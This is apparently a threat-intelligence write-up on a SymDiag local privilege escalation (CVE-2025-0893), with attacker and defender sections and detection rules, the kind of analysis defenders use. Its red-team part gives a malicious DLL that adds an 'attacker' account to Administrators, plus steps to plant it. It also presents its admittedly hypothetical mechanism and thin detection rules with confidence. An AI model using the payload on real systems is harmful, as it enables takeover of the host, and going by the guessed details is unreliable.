CVE-2025-0893

Executive Summary

CVE-2025-0893 is a Privilege Escalation vulnerability in the Symantec Diagnostic Tool (SymDiag), affecting versions prior to 3.0.79. The vulnerability allows a local attacker with low privileges to escalate to SYSTEM-level privileges, potentially leading to full system compromise. The CVSS score of 7.8 (High) reflects the significant impact on confidentiality, integrity, and availability, though the attack vector is local. No public proof-of-concept (PoC) or exploit code has been identified at this time, and the patch status remains unknown. This report provides a comprehensive technical analysis, detection guidance, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local – The attacker must have local access to the system.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – The attacker needs initial low-privileged access.
• User Interaction (UI): None – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to all system resources.
• Integrity (I): High – Full write access to all system resources.
• Availability (A): High – Full ability to disrupt system operations.

Threat Level: High. While the attack vector is local, the low complexity and high impact make this a serious threat in environments where attackers have already gained a foothold.

Deep Dive & Mechanics

The Symantec Diagnostic Tool (SymDiag) is a utility used for collecting system diagnostic information. The vulnerability likely stems from improper handling of privileged operations or insecure file permissions. When SymDiag runs, it may execute certain actions with elevated privileges (e.g., SYSTEM context) without proper validation of the caller's identity or the integrity of the data being processed.

Potential Attack Vector:

1. Insecure File Permissions: SymDiag may create or modify files in a world-writable location (e.g., C:\ProgramData\Symantec\SymDiag). A low-privileged attacker could place a malicious DLL or executable in that location, which SymDiag then loads with elevated privileges.
2. DLL Hijacking: SymDiag may attempt to load a DLL from a path that an attacker can control (e.g., the current working directory or a user-writable path).
3. Unquoted Service Path: If SymDiag is installed as a service with an unquoted path, an attacker could place a malicious executable in a higher-level directory.
4. Named Pipe Impersonation: SymDiag may create a named pipe that an attacker can connect to, allowing the attacker to impersonate the SymDiag process's security context.

The exact mechanism is not publicly documented, but the above are common patterns for privilege escalation in diagnostic tools.

Vulnerable vs. Patched Code

Since no patch details are available, we can only hypothesize the fix. The patched version (3.0.79) likely addresses the vulnerability by:

• Validating file paths before loading DLLs or executables.
• Using absolute paths instead of relative paths.
• Setting proper DACLs on created files and directories to prevent tampering by non-privileged users.
• Running with least privilege where possible, or dropping privileges after initial setup.

Example of vulnerable code pattern (hypothetical):

// Vulnerable: Loads a DLL from a relative path
HMODULE hMod = LoadLibrary("helper.dll");

Example of patched code pattern (hypothetical):

// Patched: Uses a secure absolute path
HMODULE hMod = LoadLibrary(L"C:\\Program Files\\Symantec\\SymDiag\\helper.dll");

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Escalate from a low-privileged user to SYSTEM.

Prerequisites:

• Local access to a Windows system with SymDiag < 3.0.79 installed.
• Ability to write to a directory that SymDiag accesses (e.g., C:\ProgramData\Symantec\SymDiag).

Exploitation Steps (Hypothetical):

1. Identify the vulnerable component:

   Get-Process -Name "SymDiag" | Select-Object -Property Id, Path
   

2. Check for writable directories:

   icacls "C:\ProgramData\Symantec\SymDiag"
   

3. Create a malicious DLL (e.g., evil.dll) that spawns a SYSTEM shell:

   // evil.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("cmd.exe /c net localgroup Administrators attacker /add", 0);
       }
       return TRUE;
   }
   

   Compile: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

4. Place the DLL in the writable directory:

   Copy-Item .\evil.dll "C:\ProgramData\Symantec\SymDiag\helper.dll"
   

5. Trigger SymDiag execution (e.g., via scheduled task or user interaction):

   Start-Process "C:\Program Files\Symantec\SymDiag\SymDiag.exe"
   

6. Verify privilege escalation:

   whoami
   

Blue Team (Defender)

Detection:

• Monitor for unusual file writes to C:\ProgramData\Symantec\SymDiag\ by non-SYSTEM processes.
• Alert on DLL load events from user-writable paths.
• Use Sysmon Event ID 7 (Image loaded) to detect DLL hijacking.

Hunting:

// KQL for Microsoft Sentinel
DeviceEvents
| where ActionType == "DllLoaded"
| where FileName endswith ".dll"
| where FolderPath startswith "C:\\ProgramData\\Symantec\\SymDiag"
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName

Prevention:

• Apply the principle of least privilege to the SymDiag directory.
• Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized DLLs.
• Enable Windows Defender Exploit Guard (Network Protection, ASR rules).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_0893_SymDiag_PrivEsc {
    meta:
        description = "Detects potential privilege escalation via SymDiag DLL hijacking"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0893"
        hash = "unknown"
    strings:
        $s1 = "SymDiag" nocase
        $s2 = "helper.dll" nocase
        $s3 = "C:\\ProgramData\\Symantec\\SymDiag" nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-0893 SymDiag Privilege Escalation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL load events from SymDiag data directory
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0893
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 7
        ImageLoaded|startswith: 'C:\ProgramData\Symantec\SymDiag\'
    condition: selection
falsepositives:
    - Legitimate SymDiag updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0893 SymDiag Potential C2"; flow:to_server,established; content:"SymDiag"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SymDiag to version 3.0.79 or later if available. Check Symantec's official support portal for the latest version.
2. Restrict access to the SymDiag installation directory and data directory (C:\ProgramData\Symantec\SymDiag) to only authorized users (SYSTEM, Administrators).
3. Monitor for exploitation using the provided detection rules.

Long-term Mitigations:

• Application Control: Use AppLocker or WDAC to allow only signed binaries and DLLs.
• Least Privilege: Ensure users run with minimal privileges. Do not grant local admin rights unnecessarily.
• Patch Management: Implement a robust patch management process for all third-party software.
• Endpoint Detection and Response (EDR): Deploy EDR solutions that can detect and block privilege escalation attempts.

Workaround (if patch is unavailable):

• Uninstall SymDiag if not required.
• Disable the SymDiag service (if installed as a service) via services.msc.
• Remove the Everyone and Users groups from the SymDiag directory's ACL.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert